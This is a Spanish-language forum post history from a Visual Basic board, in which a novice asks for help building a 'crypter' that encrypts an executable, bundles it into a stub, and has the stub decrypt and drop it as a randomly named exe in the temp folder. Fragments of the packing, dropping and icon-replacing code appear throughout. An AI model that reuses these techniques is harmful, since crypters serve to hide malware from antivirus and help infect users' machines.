|
Mostrar Mensajes
|
Páginas: [1] 2 3 4 5 6
|
1
|
Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter.
|
en: 20 Diciembre 2009, 02:56 am
|
seba123neo 1º gracias por contestar,aver si me esplico bien. con los if no me llevo bien,como se cierran?alguna html que pueda entender facil?,yo cuando le doy a carga,carga bien en el picture, el iono y en el text la direccion del icono. cargado, daria false con cancelar,si cerrara el if ?,Form2.Text1.Text jaja,si vastante chapuzero soy es que no sabia otra forma de llamarla. y sobre lo de esconder el segundo form con .hide,como lo hacen ustedes? por que si no quedaria a la vista y to feo,aparte que molestaria un poco. y tanpoco se si al cerrar el form1 se cierra el 2 tanbien. y el .exe a cambiar donde lo seleccionas?? esto te lo explicare ahora,intente modificar siguiendo tus consejos ( no logre mucho ). aver,cree un modulo con el nombre variable,y puse dentro estas 2 variables: Global rutadelicono$ y Global rutadelexe$ como no me dejaba Global rutadelicono as integer pos puse $ que ley que era = hace tiempo otravez chapuceando mas tarde intente modificar el form2 intentando cerrar el if con algo asin. Public Sub Picture1_Click() With CD .DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo .Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe .ShowOpen 'Mostramos el Dialogo de seleccionar End With 'Terminamos el With antes abierto If CD.FileName <> "" Then Text1.Text = CD.FileName Picture1.Picture = LoadPicture(Text1.Text) rutadelicono = Text1.Text
If Text1.Text <> "" Then cargado = True
Else cargado = False
End If
End Sub
lo de antes,empiezo cargando la ruta del icono al text1 de hay al picture y rutadelicono = Text1.Text. luego si texte1 contiene la ruta del icono (algo),no se como explicarlo, cargado es = a verdadero y sino a false. y ahora paso al cripter form1: aver abro el exe en el form1 con el cd,le inserto los datos stub,marca,aremcriptado ect y lo cierro. y le digo que rutadelexe es = a cd.felename (que seria la ruta del exe nuevo) y termino escribiendo el eof si es que tiene y mando un msgbox " cifrado" por ejemplo y cierro se supone.codigo: Open CD.FileName For Binary As #1 'Abrimos un Archivo binario k selecciono el usuario anteriormente!
Put #1, , stub & "marca" & arencriptado & "marca" & pass & "marca" Close #1 ' Cerramos el Archivo! End If rutadelexe = CD.FileName If cargado = True Then ReplaceIcons rutadelicono, rutadelexe, Err End If Call WriteEOFData(CD.FileName, TheEOF) MsgBox "Archivo cifrado Correctamente!", vbInformation, Me.Caption
End If End If
End Sub pero sigo enlas mismas,y no se cuantas vueltas darle +. mientras voy aver que consigo con un check. gracias
|
|
|
2
|
Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter.
|
en: 19 Diciembre 2009, 04:02 am
|
bueno el crypter ba biento en popa y a to vela. lo que pasa es que me atasque otra vez y ahora en lo del icono,he encontrado 2 modulos IconChanger y PE (supuestamente para canbiar el icono al exe final) el caso es que no doy con el clavo,esto son los modulos: IconChanger: Option Explicit Type DIB_HEADER Size As Long Width As Long Height As Long Planes As Integer Bitcount As Integer Reserved As Long ImageSize As Long End Type
Type ICON_DIR_ENTRY bWidth As Byte bHeight As Byte bColorCount As Byte bReserved As Byte wPlanes As Integer wBitCount As Integer dwBytesInRes As Long dwImageOffset As Long End Type
Type ICON_DIR Reserved As Integer Type As Integer Count As Integer End Type
Type DIB_BITS Bits() As Byte End Type
Public Enum Errors FILE_CREATE_FAILED = 1000 FILE_READ_FAILED INVALID_PE_SIGNATURE INVALID_ICO NO_RESOURCE_TREE NO_ICON_BRANCH CANT_HACK_HEADERS End Enum Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long Dim IcoDir As ICON_DIR Dim IcoDirEntry As ICON_DIR_ENTRY Dim tBits As DIB_BITS Dim Icons() As IconDescriptor Dim lngRet As Long Dim BytesRead As Long Dim hSource As Long Dim hDest As Long Dim ResTree As Long hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0) If hSource >= 0 Then If Valid_ICO(hSource) Then SetFilePointer hSource, 0, 0, 0 ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0& ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0& SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0 ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0& CloseHandle hSource hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0) If hDest >= 0 Then If Valid_PE(hDest) Then ResTree = GetResTreeOffset(hDest) If ResTree > 308 Then ' Sanity check lngRet = GetIconOffsets(hDest, ResTree, Icons) SetFilePointer hDest, Icons(1).Offset, 0, 0 WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0& If Not HackDirectories(hDest, ResTree, Icons(1).Offset, IcoDirEntry) Then eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable. File may not contain any icon resources." End If Else eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree. File may be corrupt." CloseHandle hDest End If Else eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable." CloseHandle hDest End If CloseHandle hDest Else eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program." End If Else eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file." CloseHandle hSource End If Else eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program." End If ReplaceIcons = 0 Exit Function ErrHandler: ReplaceIcons = eRR.Number Error = eRR.Description End Function Public Function Valid_ICO(hFile As Long) As Boolean Dim tDir As ICON_DIR Dim BytesRead As Long If (hFile > 0) Then ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0& If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then Valid_ICO = True Else Valid_ICO = False End If Else Valid_ICO = False End If End Function
pe Option Explicit Public Type IMAGE_DOS_HEADER Magic As Integer cblp As Integer cp As Integer crlc As Integer cparhdr As Integer minalloc As Integer maxalloc As Integer ss As Integer sp As Integer csum As Integer ip As Integer cs As Integer lfarlc As Integer ovno As Integer res(3) As Integer oemid As Integer oeminfo As Integer res2(9) As Integer lfanew As Long End Type
Public Type IMAGE_FILE_HEADER Machine As Integer NumberOfSections As Integer TimeDateStamp As Long PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOtionalHeader As Integer Characteristics As Integer End Type
Public Type IMAGE_DATA_DIRECTORY DataRVA As Long DataSize As Long End Type
Public Type IMAGE_OPTIONAL_HEADER Magic As Integer MajorLinkVer As Byte MinorLinkVer As Byte CodeSize As Long InitDataSize As Long unInitDataSize As Long EntryPoint As Long CodeBase As Long DataBase As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long MajorOSVer As Integer MinorOSVer As Integer MajorImageVer As Integer MinorImageVer As Integer MajorSSVer As Integer MinorSSVer As Integer Win32Ver As Long ImageSize As Long HeaderSize As Long Checksum As Long Subsystem As Integer DLLChars As Integer StackRes As Long StackCommit As Long HeapReserve As Long HeapCommit As Long LoaderFlags As Long RVAsAndSizes As Long DataEntries(15) As IMAGE_DATA_DIRECTORY End Type
Public Type IMAGE_SECTION_HEADER SectionName(7) As Byte Address As Long VirtualAddress As Long SizeOfData As Long PData As Long PReloc As Long PLineNums As Long RelocCount As Integer LineCount As Integer Characteristics As Long End Type
Type IMAGE_RESOURCE_DIR Characteristics As Long TimeStamp As Long MajorVersion As Integer MinorVersion As Integer NamedEntries As Integer IDEntries As Integer End Type
Type RESOURCE_DIR_ENTRY Name As Long Offset As Long End Type
Type RESOURCE_DATA_ENTRY Offset As Long Size As Long CodePage As Long Reserved As Long End Type
Public Type IconDescriptor ID As Long Offset As Long Size As Long End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long Public Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private SectionAlignment As Long Private FileAlignment As Long Private ResSectionRVA As Long Private ResSectionOffset As Long Public Function Valid_PE(hFile As Long) As Boolean Dim Buffer(12) As Byte Dim lngBytesRead As Long Dim tDosHeader As IMAGE_DOS_HEADER If (hFile > 0) Then ReadFile hFile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0& CopyMemory Buffer(0), tDosHeader.Magic, 2 If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then SetFilePointer hFile, tDosHeader.lfanew, 0, 0 ReadFile hFile, Buffer(0), 4, lngBytesRead, ByVal 0& If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And (Buffer(2) = 0) And (Buffer(3) = 0) Then Valid_PE = True Exit Function End If End If End If Valid_PE = False End Function Public Function GetResTreeOffset(hFile As Long) As Long On Error GoTo ErrHandler: Dim tDos As IMAGE_DOS_HEADER Dim tFile As IMAGE_FILE_HEADER Dim tOptional As IMAGE_OPTIONAL_HEADER Dim tSections() As IMAGE_SECTION_HEADER Dim BytesRead As Long Dim intC As Integer Dim TreeFound As Boolean TreeFound = False If (hFile > 0) Then SetFilePointer hFile, 0, 0, 0 ' Get the offset of the Image File Header ReadFile hFile, tDos, Len(tDos), BytesRead, ByVal 0& SetFilePointer hFile, ByVal tDos.lfanew + 4, 0, 0 ' Get the Image File Header and the Image Optional Header ReadFile hFile, tFile, Len(tFile), BytesRead, ByVal 0& ReadFile hFile, tOptional, Len(tOptional), BytesRead, ByVal 0& ' Get section headers ReDim tSections(tFile.NumberOfSections - 1) As IMAGE_SECTION_HEADER ReadFile hFile, tSections(0), Len(tSections(0)) * tFile.NumberOfSections, BytesRead, ByVal 0& ' Make sure there is a resource tree in this file If (tOptional.DataEntries(2).DataSize) Then ' Save section alignment and file alignment of image SectionAlignment = tOptional.SectionAlignment FileAlignment = tOptional.FileAlignment ' Determine which section contains the resource tree For intC = 0 To UBound(tSections) If (tSections(intC).VirtualAddress <= tOptional.DataEntries(2).DataRVA) _ And ((tSections(intC).VirtualAddress + tSections(intC).SizeOfData) > tOptional.DataEntries(2).DataRVA) Then TreeFound = True ' Save RVA and offset of resource section for future calculations ResSectionRVA = tSections(intC).VirtualAddress ResSectionOffset = tSections(intC).PData ' Calculate the physical file offset of the resouce tree GetResTreeOffset = tSections(intC).PData + (tOptional.DataEntries(2).DataRVA - tSections(intC).VirtualAddress) Exit For End If Next intC If Not TreeFound Then GetResTreeOffset = -1 End If Else GetResTreeOffset = -1 End If Else GetResTreeOffset = -1 End If Exit Function
ErrHandler: MsgBox "An error occurred while locating the resource tree. " _ & " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _ App.EXEName & " - " & eRR.Description End Function Public Function GetIconOffsets(hFile As Long, TreeOffset As Long, Icons() As IconDescriptor) As Long On Error GoTo ErrHandler:
Dim Root As IMAGE_RESOURCE_DIR ' Root node of resource tree Dim L1Entries() As RESOURCE_DIR_ENTRY ' 1st level of directory entries Dim L2Root() As IMAGE_RESOURCE_DIR ' Level 2 resource directories Dim L2Entries() As RESOURCE_DIR_ENTRY ' 2nd level of directory entries Dim L3Root() As IMAGE_RESOURCE_DIR ' Level 3 resource directories Dim L3Entries() As RESOURCE_DIR_ENTRY ' 3rd level of directory entries Dim DataEntries() As RESOURCE_DATA_ENTRY ' Resource data entries Dim DIB As DIB_HEADER ' Descriptor for icon images Dim iLvl1 As Integer ' Loop Counter (first level) Dim iLvl2 As Integer ' Loop Counter (second level) Dim iLvl3 As Integer ' Loop Counter (third level) Dim Cursor As Long ' Temp val for setting file pointer Dim BytesRead As Long ' For ReadFile() Dim Count As Integer ' Number of icons found If (hFile > 0) Then Count = 0 SetFilePointer hFile, ByVal TreeOffset, 0, 0 ' Get the root node and begin navigating the resource tree ReadFile hFile, Root, Len(Root), BytesRead, ByVal 0 ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY ' Get first level child nodes For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries) SetFilePointer hFile, TreeOffset + 8 + (iLvl1 * 8), 0, 0 ReadFile hFile, L1Entries(iLvl1), 8, BytesRead, ByVal 0& If L1Entries(iLvl1).Name = 3 Then ' Jump to level 2 and get directory ' Strip high-order byte from offset CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + TreeOffset SetFilePointer hFile, ByVal Cursor, 0, 0 ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0& ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR ReDim L2Entries(L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) As RESOURCE_DIR_ENTRY For iLvl2 = 1 To (L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) ' Read second level child nodes CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + TreeOffset SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0 ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0& ' Jump to level 3 and get directory CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + TreeOffset SetFilePointer hFile, ByVal Cursor, 0, 0 ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0& ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY ReDim DataEntries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DATA_ENTRY For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) ' Read third level child nodes CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + TreeOffset SetFilePointer hFile, (Cursor + 8 + (iLvl3 * 8)), 0, 0 ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0& ' Jump to IMAGE_DATA_ENTRY and get RVA of IconDir structure SetFilePointer hFile, TreeOffset + (L3Entries(iLvl3).Offset), 0, 0 ReadFile hFile, DataEntries(iLvl3), 16, BytesRead, ByVal 0& ' Convert RVA of IconDir structure to file offset and store Count = Count + 1 ReDim Preserve Icons(Count) As IconDescriptor Icons(Count).Offset = RVA_to_Offset(DataEntries(iLvl3).Offset) ' Store ID of icon resource Icons(Count).ID = L2Entries(iLvl2).Name ' Store Size of icon resource SetFilePointer hFile, Icons(Count).Offset, 0, 0 ReadFile hFile, DIB, ByVal Len(DIB), BytesRead, ByVal 0& Icons(Count).Size = DIB.ImageSize + 40 Next iLvl3 Next iLvl2 End If Next iLvl1 Else Count = 0 End If ' Return the number of icons found GetIconOffsets = Count Exit Function ErrHandler: MsgBox "An error occurred while locating the icon resources. " _ & " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _ App.EXEName & " - " & eRR.Description End Function Public Function HackDirectories(hFile As Long, ResTree As Long, DIBOffset As Long, _ DIBAttrib As ICON_DIR_ENTRY) As Boolean On Error GoTo ErrHandler:
Dim Cursor As Long ' File pointer position Dim Root As IMAGE_RESOURCE_DIR ' Root node of res tree Dim L1Entries() As RESOURCE_DIR_ENTRY ' First-level child nodes Dim L2Root() As IMAGE_RESOURCE_DIR ' Second-level root nodes Dim L2Entries() As RESOURCE_DIR_ENTRY ' Second-level child nodes Dim L3Root() As IMAGE_RESOURCE_DIR ' Third-level root nodes Dim L3Entries() As RESOURCE_DIR_ENTRY ' Third-level child nodes Dim DataEntries() As RESOURCE_DATA_ENTRY ' IMAGE_RESOURCE_DATA_ENTRY structs Dim IcoDir As ICON_DIR ' IconDirectory in EXE Dim iLvl1 As Integer ' Loop Counter (first level) Dim iLvl2 As Integer ' Loop Counter (second level) Dim iLvl3 As Integer ' Loop Counter (third level) Dim intC As Integer ' Loop Counter (general) Dim BytesRead As Long ' Returned by Read/WriteFile API's If (hFile >= 0) Then ' Convert DIBOffset to an RVA (needed for RESOURCE_DATA_ENTRY structures) DIBOffset = Offset_to_RVA(DIBOffset) SetFilePointer hFile, ByVal ResTree, 0, 0 ReadFile hFile, Root, Len(Root), BytesRead, ByVal 0& ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR ' Loop through first-level child nodes and find RT_GROUP_ICON branch For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries) SetFilePointer hFile, ResTree + 8 + (iLvl1 * 8), 0, 0 ReadFile hFile, L1Entries(iLvl1), 8, BytesRead, ByVal 0& If L1Entries(iLvl1).Name = &HE Then ' RT_GROUP_ICON branch found CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor, 0, 0 ' Read second-level directory ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0& ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0 ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0& CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor, 0, 0 ' Read thrid-level directory ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0& ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) ' Read third-level child nodes CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + ResTree + 8 + (iLvl3 * 8) SetFilePointer hFile, Cursor, 0, 0 ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0& ' Jump to RESOURCE_DATA_ENTRY CopyMemory Cursor, L3Entries(iLvl3).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor, 0, 0 ReDim Preserve DataEntries(iLvl3) As RESOURCE_DATA_ENTRY ReadFile hFile, DataEntries(iLvl3), 16, BytesRead, ByVal 0& ' Jump to and read ICON_DIR structure Cursor = RVA_to_Offset(DataEntries(iLvl3).Offset) SetFilePointer hFile, Cursor, 0, 0 ReadFile hFile, IcoDir, 6, BytesRead, ByVal 0& For intC = 1 To IcoDir.Count WriteFile hFile, DIBAttrib, Len(DIBAttrib) - 4, BytesRead, ByVal 0& SetFilePointer hFile, 2, 0, 1 Next intC Next iLvl3 Next iLvl2 ElseIf L1Entries(iLvl1).Name = 3 Then CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, ByVal Cursor, 0, 0 ' Read second-level directory ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0& ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) CopyMemory Cursor, L1Entries(iLvl1).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0 ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0& CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + ResTree SetFilePointer hFile, Cursor, 0, 0 ' Read thrid-level directory ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0& ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) ' Read third-level child nodes CopyMemory Cursor, L2Entries(iLvl2).Offset, 3 Cursor = Cursor + ResTree + 8 + (iLvl3 * 8) SetFilePointer hFile, Cursor, 0, 0 ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0& ' Jump to and hack the RESOURCE_DATA_ENTRY Cursor = L3Entries(iLvl3).Offset + ResTree SetFilePointer hFile, Cursor, 0, 0 WriteFile hFile, DIBOffset, 4, BytesRead, ByVal 0& WriteFile hFile, CLng(DIBAttrib.dwBytesInRes + 40), 4, BytesRead, ByVal 0& Next iLvl3 Next iLvl2 End If Next iLvl1 Else HackDirectories = False Exit Function End If HackDirectories = True Exit Function ErrHandler: MsgBox "An error occurred while modifying the resource directories. " _ & " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _ App.EXEName & " - " & eRR.Description End Function Private Function RVA_to_Offset(RVA As Long) As Long On Error GoTo ErrHandler: Dim TempOffset As Long ' Difference of RVA and start of section TempOffset = RVA - ResSectionRVA If (TempOffset >= 0) Then ' Calculate the file offset of the RVA RVA_to_Offset = ResSectionOffset + TempOffset Else RVA_to_Offset = -1 End If Exit Function ErrHandler: MsgBox "Error in RVA_to_Offset function: " & eRR.Number & ": " & eRR.Description, _ vbOKOnly + vbExclamation, App.EXEName & " - Error" End Function
Private Function Offset_to_RVA(Offset As Long) As Long On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of Offset and start of section ' Get distance between offset and start of resource section TempOffset = Offset - ResSectionOffset If TempOffset >= 0 Then ' Calculate RVA of the file offset Offset_to_RVA = ResSectionRVA + TempOffset Else Offset_to_RVA = -1 End If Exit Function ErrHandler: MsgBox "Error in Offset_to_RVA function: " & eRR.Number & ": " & eRR.Description, _ vbOKOnly + vbExclamation, App.EXEName & " - Error" End Function
es un poco largo,pero ara que se entienda bien. lo que yo ago: abro un form2,le agrego 1 picture, un boton,un text el comondialogo y este es el codigo: Private Sub Command1_Click() Form2.Hide
End Sub
Public Sub Picture1_Click() With CD .DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo .Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe .ShowOpen 'Mostramos el Dialogo de seleccionar End With 'Terminamos el With antes abierto If CD.FileName <> "" Then Text1.Text = CD.FileName Picture1.Picture = LoadPicture(Text1.Text) cargado = True End Sub
y luego se supone que en el cripter,cuando termina de crear el archivo final con el stub y todo ,y le mete el eofdata,luego pongo: If cargado = True Then ReplaceIcons Form2.Text1.Text, CD.FileName, eRR End If si cargado es = a verdadero,coje del text1 del form2 la direccion del icono (Source ) y se lo canbiaria, al archivo recientemente creado(Dest) y luego err. pero llevo 3 o 4 horas liao y no doy pata con bolo. alguna idea? estaba pensando en vez poner true a cargado,poner un check,aun que asin deberia ir no? un salu2 y gracias
|
|
|
4
|
Programación / Programación Visual Basic / Re: ayuda archivo .res
|
en: 2 Diciembre 2009, 00:51 am
|
ok gracias seba123neo,lo unico que me faltaba era esto: aun no se si servira,pero para que esas instrucciones? o el por que? por lo que entiendo,las string las convierte,luego carga los datos de la foto que son los que se ban a convertir,y lo pasas a unicode no? y si es asin,como se cuando he de hacer eso? un salu2 y gracias de nuevo,voy a provar.
|
|
|
5
|
Programación / Programación Visual Basic / ayuda archivo .res
|
en: 2 Diciembre 2009, 00:33 am
|
muy buenas,estoy haciendo un proyecto,y me gustaria saver,como se guardan los datos de un archivo .res en el disco duro. bueno,lo que tengo es un front con un picturebox,para hacer las pruebas.y un modulo. lo que ago es intentar agregar como recurso una carpeta con 3 imajenes jpg,al no poder meterlo con carpeta,las meti una a una,quedaria algo asin. imagen1 ->(101, "CUSTOM") imagen2 ->(102, "CUSTOM") imagen3 ->(103, "CUSTOM") lo 1º alcompilar el av me dice que tiene virus,solo cuando le meto las fotos como recurso. lo 2º es que no se como estraer las 3 fotos que estan como recurso y guardarla en bamos lo + importante es la 2º.si le pongo asin: imagen1 = LoadResData(101, "CUSTOM") lo que ago es cargar la 1º foto en la variable imagen1,intento cojer los datos de imagen1 en binario con get y luego con put le agrego los datos,pero la foto no se ve. se crea el archivo con contenido pero la foto no se muestra y me salta error. que podria hacer para extraer las 3 fotos al disco duro? y ya que estamos,para no abri pos cada x tiempo,aparte de las fotos,si meto un exe o bat o txt y eso como puedo extraerlo al disco duro? un salu2 y mil gracias
|
|
|
6
|
Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter.
|
en: 7 Noviembre 2009, 17:21 pm
|
bueno ya estoy aki de nuevo,el programa parecia facilito,pero me esta dando muchos dolores de cabeza. no hay quien entienda los pcs,bueno explico: cree el cliente que es = a cripter.exe y el ayudante = stub,empezando por el cliente lo que hace es: cojer el ayudante y lo mete en una variable y con el archivo a cifrar hace = lo mete en variable y lo cifra. luego lo guardo el exe con el comondialogo y luego lo abro en binario e inserto las variables y las marcas. y al final me crea el exe muy bien,con todos los datos y las marcas. uso: para leer y guardar en variable esta sintesis. Open direccion del stub For Binary As #1 'Abrimos el Stub Binariamente! stub = Space(LOF(1)) 'Obtenemos todos los datos del mismo Get #1, , stub Close #1 'Cerramos el Archivo y ago lo mismo con el archivo a cifrar y lo cifro. y para meter la variables en el nuevo exe ago esto: Open CD.FileName For Binary As #1 'Abrimos un Archivo binario k selecciono el usuario anteriormente! Put #1, , stub & "marca" & archivoencriptado & "marca" Close #1 ' Cerramos el Archivo!
bueno en el stub me ba todo bien: se abre a si mismo y coje sus datos y lo mete en una variable. con Split separo al estub y al archivoencriptado buscando las marcas. descifro la variable que contiene el archivo cifrado. con mucho esfuerzo se copia en temp numericamente a bolea 18493.exe despues vacio 18493.exe que esta en temp. de esta forma: Open ruta del 18493.exe For Output As #1 'nos abrimos en binario Print #1, "" Close #1
y hasta aki todo bien,el problema esta,cuando vuelvo a abrir el archivo 18493.exe he insertarle la variable ya sedescriptada. me saltan los msgbox pero no hace nada el archivo sigue vacio. rutina que uso: Open ruta del 18493.exe For Binary As #1 Put #1, , archivodesencriptado Close #1 pero ya digo no guarda nada,ya probe si la variable archivodesencriptado contenia datos monstrndolo por un msgbox y si tiene. tanbein he probado con: open ruta del 18493.exe for binary access write#1 put#1,,archivodesencriptado close #1 y tampoco,y ya no se que hacer,no se por que puedo en el cliente meter datos con for binary #1 y put y en el stub no lo hace. e incluso probe con otros comando como oupt imput read ect aun que sean para leeer y tal pero por probar. y nada de resultados. que opinan ustedes? un salu2 y gracias.
|
|
|
7
|
Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter.
|
en: 1 Noviembre 2009, 02:05 am
|
jajaja aveces parece que ablais chino y tengo que andar intentando traducir. bueno lo del signo + es que fue una variable a bolea y meti un poco la ganba,pero era mas para que se entendiera el code. bueno tasteando un poco he logrado que de cada 5 veces me falle unas 2,creo que el problema era de la pc,bamos del win.le pase un programa de utilidades para memoria y registro y parece que anda mejorcito,aun que aveces tira el p... overflow. ya consegui que se copie en temp y se vacie,pero la siguiente instruccion me ta dando problemas,a la hora de meter la variable descifrada. bueno voy a seguir manipulando el codigo aver si logro terminar la 1º version. un salu2 y gracias
|
|
|
9
|
Programación / Programación Visual Basic / Re: ayuda creando mi propio cripter.
|
en: 31 Octubre 2009, 00:53 am
|
bueno amigos ya toy aki de new,como el manual ese era una m....,decidi hacerlo desde 0 y fuy estudiando unos codigos. bueno yo creo que hasta ahora ba bien el programita,he conseguido bastante.el problema me surje a la hora de copiarme al disco duro. para copiarme en la carpeta tem como la mayoria de estos programas en vez usar fso decidi intentar con environ,con muy buenos resultados,luego como no savia que nombre ponerle al archivo temporal,intente hacer un randomize rnd. y aki es donde bienen los problemas,la 1º vez fue perfecto 66547.exe por ejemplo,lo borre y lo intente de nuevo,pero intentando abrir y vaciar el archivo.y mi sorpresa fue: run time overflow (6) desde entonces no logro que se copie en temp con randomize. esta es la funcion: aver... Randomize For i = 1 To 10 'el archivo tendra de lonjitud unos 10 numerito 5962483791.exe x=int((9*rnd)) 'los numeritos iran del 0 al 9 +=+ & x ' + sera = asimismo y x filecopy ruta1,ruta2 & "\" & + & "exe" ' sin comentarios decir que las rutas ya las tengo bien declaradas y no se que puede fallar. y despues tengo otra duda que estuve lellendo pero no logre sacar mucho en claro una vez que el randomize funcione bien,como pasar esos numeros a letras? para en vez de ser 5962483791.exe sea algo asin kfyrtemifh.exe. algo asin? Randomize For i = 1 To 10 'el archivo tendra de lonjitud unos 10 numerito 5962483791.exe x=int((9*rnd)) 'los numeritos iran del 0 al 9 g=Chr(x) 